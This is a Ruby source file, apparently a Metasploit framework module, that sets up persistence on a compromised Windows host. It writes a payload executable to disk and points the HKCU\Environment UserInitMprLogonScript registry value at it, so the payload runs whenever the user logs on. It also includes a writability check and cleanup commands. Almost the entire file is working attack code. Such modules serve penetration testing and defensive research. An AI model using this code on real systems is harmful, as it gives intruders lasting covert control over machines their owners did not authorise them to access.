95 lines
3.5 KiB
Ruby
95 lines
3.5 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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Rank = ExcellentRanking
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include Msf::Post::Windows::Registry
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include Msf::Post::File
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include Msf::Exploit::EXE
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include Msf::Exploit::Local::Persistence
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prepend Msf::Exploit::Remote::AutoCheck
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Windows Persistence via UserInitMprLogonScript',
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'Description' => %q{
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This module establishes persistence by setting the UserInitMprLogonScript
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value in HKCU\Environment. During user logon, userinit.exe checks this value
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and executes the specified command or binary.
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The module writes a payload executable to disk and points
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UserInitMprLogonScript to that payload.
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},
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'License' => MSF_LICENSE,
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'Author' => ['Nayera'],
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'Platform' => [ 'win' ],
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'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
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'SessionTypes' => [ 'meterpreter', 'shell' ],
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'Targets' => [
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[ 'Automatic', {} ]
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],
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'References' => [
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['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],
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['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],
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['URL', 'https://hadess.io/the-art-of-windows-persistence/']
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => '2015-07-01',
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'Notes' => {
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'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
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'Stability' => [CRASH_SAFE],
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'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]
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}
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)
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)
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register_options([
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OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.'])
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])
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end
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def regkey
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'HKCU\\Environment'
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end
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def check
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print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%')
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return CheckCode::Safe("#{writable_dir} does not exist") unless exists?(writable_dir)
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test_name = Rex::Text.rand_text_alpha(8)
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test_value = Rex::Text.rand_text_alpha(8)
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return CheckCode::Safe("Unable to write to registry path #{regkey}") unless registry_setvaldata(regkey, test_name, test_value, 'REG_SZ')
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registry_deleteval(regkey, test_name)
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CheckCode::Vulnerable('Registry path is writable')
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end
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def install_persistence
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payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(rand(6..13))
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payload_exe = generate_payload_exe
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payload_pathname = "#{writable_dir}\\#{payload_name}.exe"
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vprint_good("Writing payload to #{payload_pathname}")
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fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)
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old_value = registry_getvaldata(regkey, 'UserInitMprLogonScript')
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registry_setvaldata(regkey, 'UserInitMprLogonScript', payload_pathname, 'REG_SZ')
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print_good("Configured #{regkey}\\UserInitMprLogonScript to execute #{payload_pathname}")
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if old_value.nil?
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@clean_up_rc = "reg deleteval -k '#{regkey}' -v 'UserInitMprLogonScript'\n"
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else
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escaped_old_value = old_value.gsub('\\', '\\\\')
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@clean_up_rc = %(execute -f cmd.exe -a "/c reg add \\\"#{regkey}\\\" /v UserInitMprLogonScript /t REG_SZ /d \\\"#{escaped_old_value}\\\" /f" -H\n)
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end
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@clean_up_rc << "rm \"#{payload_pathname.gsub('\\', '/')}\"\n"
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end
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end
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